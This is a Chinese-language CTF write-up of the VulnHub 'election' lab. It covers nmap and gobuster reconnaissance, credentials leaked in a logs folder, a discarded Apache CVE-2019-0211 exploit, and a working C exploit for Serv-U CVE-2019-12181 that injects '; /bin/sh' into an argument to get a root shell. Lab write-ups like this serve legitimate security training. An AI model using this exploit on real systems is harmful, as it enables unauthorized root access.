渗透测试5:VulnHub之election

本文详细记录了对vulnhub平台上的选举靶机进行渗透测试的过程,包括信息收集、利用CVE-2019-0211尝试提权、最终通过Serv-U FTP服务器的CVE-2019-12181成功获取root权限。

简介

vulnhub最新的靶机之一election,虽然作者标的难度为medium(OSCP-like),但整个渗透下来其实比较简单的(2小时),可能难度就是寻找提权的点吧。
在这里插入图片描述

信息收集

root@kali:~/ctf/election# nmap -sC -sV 192.168.18.132

在这里插入图片描述
发现apache版本比较旧了,查看有没有相关的漏洞。

root@kali:~/ctf/election# nmap -sC -sV 192.168.18.132 -p 80 --script=vuln
root@kali:~/ctf/election# nmap -sC -sV 192.168.18.132 -p 80 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-08 16:51 CST
Nmap scan report for 192.168.18.132
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /robots.txt: Robots file
|   /phpinfo.php: Possible information file
|_  /phpmyadmin/: phpMyAdmin
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-1333   5.0     https://vulners.com/cve/CVE-2018-1333
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|_      CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
MAC Address: 00:0C:29:4C:40:FB (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.22 seconds

发现了几个CVE,记录下来后面再试试。

通过robots.txt找到/election目录,然后扫目录。

root@kali:~/ctf/election# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.18.132/election/ -r 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.18.132/election/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Follow Redir:   true
[+] Timeout:        10s
===============================================================
2020/07/08 17:00:14 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 200)
/data (Status: 200)
/index.php (Status: 200)
/js (Status: 200)
/languages (Status: 200)
/lib (Status: 200)
/media (Status: 200)
/themes (Status: 200)
===============================================================
2020/07/08 17:00:14 Finished
===============================================================

查看/admin目录

在这里插入图片描述
看到这页面果断盲猜SQL注入,但是经过测试并不存在注入漏洞。继续扫目录。

root@kali:~/ctf/election# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.18.132/election/admin/ -r 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.18.132/election/admin/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Follow Redir:   true
[+] Timeout:        10s
===============================================================
2020/07/08 17:03:14 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/ajax (Status: 200)
/components (Status: 200)
/css (Status: 200)
/img (Status: 200)
/index.php (Status: 200)
/inc (Status: 200)
/js (Status: 200)
/logs (Status: 200)
/plugins (Status: 200)
===============================================================
2020/07/08 17:03:15 Finished
===============================================================

翻了翻扫到的几个目录,最后在/logs发现了线索。

在这里插入图片描述
下载后发现日志里面有用户名和密码,love:P@$$w0rd@123
在这里插入图片描述

寻找提权点

Is that CVE-2019-0211?

通过SSH登录后,第一时间想到之前nmap扫出了几个apache的CVE漏洞。其中CVE-2019-0211就是提权的。通过searchsploit apache2ctl找到了exp。

root@kali:~/tools/LinEnum# searchsploit apache2ctl
------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ ---------------------------------
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local  | linux/local/46676.php
------------------------------------------------------------------ --------------------

searchsploit -m 46676 将其下载下来。

使用方法:

# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0

看了下说明,需要将exp仍在/var/www/html里,不确定love用户有没有这个权限,id看下

love@election:~$ id
uid=1000(love) gid=1000(love) groups=1000(love),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare)

www-data权限。

不过这还不够,使用说明中还要等待logrotate去重启apache服务,等是不可能等的,那么存不存在手动重启的可能?

很显然是自己考虑太多,因为上传到web根目录后访问是这样的:
在这里插入图片描述
那么说明这个是作者故意放了一个兔子洞。此路线放弃。

Try again

在此之前,已经在靶机上运行了LinEum.sh来收集信息。当然重点还是关注的SUID部分。
其中有一个没见过的,盲猜Serv-U可能有自带的执行shell的参数。

-rwsr-xr-x 1 root root 6319088 Nov 29  2017 /usr/local/Serv-U/Serv-U

百度Serv-U发现这是一个FTP服务器,但是端口查看并没有21端口。而且关于Serv-U的帖子大多年代久远,很难找到近5年的了。想了解下Serv-U命令有哪些参数也找不到,有也只是windows的。
在这里插入图片描述
不过话说回来43958端口是干什么的,百度看看,发现了一篇年代久远的百度知道回答。
在这里插入图片描述
在这里插入图片描述
2010年的帖子了,到现在不知道还能不能用,先在exploit-db找找看有没有现成的exp吧。
最后找到了Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)
CVE编号为CVE-2019-12181
exp:

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{       
    char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
    int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
    // if execv is successful, we won't reach here
    printf("ret val: %d errno: %d\n", ret_val, errno);
    return errno;
}

看了下造成漏洞的原因应该是参数过滤不严导致可以执行任意命令,又加上有SUID权限,可以使攻击者直接提升为root权限。

gcc编译,运行

在这里插入图片描述

总结

1.整个流程比较简单,没有太奇怪的点,唯一就是Serv-U确实年代久远一直没听过。
2.找提权点这里是通过找SUID发现的Serv-U,最好的方式应该是netstat -anpt查看开放的端口再来寻找突破口。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值